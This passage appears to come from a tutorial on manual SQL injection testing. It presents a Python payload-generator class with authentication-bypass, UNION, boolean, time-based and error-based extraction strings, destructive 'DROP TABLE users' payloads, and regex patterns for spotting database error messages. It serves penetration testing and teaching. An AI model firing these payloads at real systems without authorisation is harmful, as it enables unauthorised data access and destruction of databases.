Manual Testing Techniques

Manual Testing Techniques

Manual testing provides deep insights into application behavior and helps understand vulnerability context. Start with basic injection tests using special characters:

# Test payload generator for manual testing
class SQLInjectionTester:
    def __init__(self):
        self.basic_payloads = [
            "'",                          # Single quote
            "\"",                         # Double quote  
            "' OR '1'='1",               # Always true condition
            "' OR '1'='1' --",           # With comment
            "' OR '1'='1' /*",           # MySQL comment
            "admin'--",                   # Authentication bypass
            "' UNION SELECT NULL--",      # Union test
            "' AND 1=2--",               # Boolean false
            "' AND 1=1--",               # Boolean true
            "'; WAITFOR DELAY '00:00:05'--",  # Time-based (SQL Server)
            "' AND SLEEP(5)--",          # Time-based (MySQL)
            "')) OR 1=1--",              # Nested parentheses
            "' OR 1=1#",                 # MySQL comment variant
        ]
        
    def generate_numeric_payloads(self, original_value):
        """Generate payloads for numeric inputs"""
        return [
            f"{original_value}",
            f"{original_value} AND 1=1",
            f"{original_value} AND 1=2",
            f"{original_value} OR 1=1",
            f"{original_value}-1",
            f"{original_value}+1",
            f"-1 OR 1=1",
            f"{original_value} UNION SELECT 1,2,3--",
            f"{original_value}; DROP TABLE users--",
            f"{original_value} AND SLEEP(5)",
        ]
    
    def generate_string_payloads(self, original_value):
        """Generate payloads for string inputs"""
        return [
            f"{original_value}'",
            f"{original_value}' AND '1'='1",
            f"{original_value}' AND '1'='2",
            f"{original_value}' OR '1'='1",
            f"{original_value}'; DROP TABLE users--",
            f"{original_value}' UNION SELECT NULL--",
            f"{original_value}\\' OR 1=1--",
            f"{original_value}' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))--",
        ]
    
    def analyze_response(self, baseline_response, test_response):
        """Compare responses to identify potential vulnerabilities"""
        indicators = {
            'error_based': self._check_error_messages(test_response),
            'boolean_based': self._check_content_differences(baseline_response, test_response),
            'time_based': self._check_response_time(test_response),
            'union_based': self._check_union_success(test_response)
        }
        return indicators
    
    def _check_error_messages(self, response):
        """Look for database error messages"""
        error_patterns = [
            r"SQL syntax.*MySQL",
            r"Warning.*mysql_",
            r"valid MySQL result",
            r"MySqlClient\.",
            r"PostgreSQL.*ERROR",
            r"Warning.*\Wpg_",
            r"valid PostgreSQL result",
            r"Npgsql\.",
            r"Driver.*SQL Server",
            r"OLE DB.*SQL Server",
            r"SQLServer JDBC Driver",
            r"SqlException",
            r"Oracle error",
            r"Oracle.*Driver",
            r"Warning.*\Woci_",
            r"Warning.*\Wora_"
        ]
        
        for pattern in error_patterns:
            if re.search(pattern, response.text, re.IGNORECASE):
                return True
        return False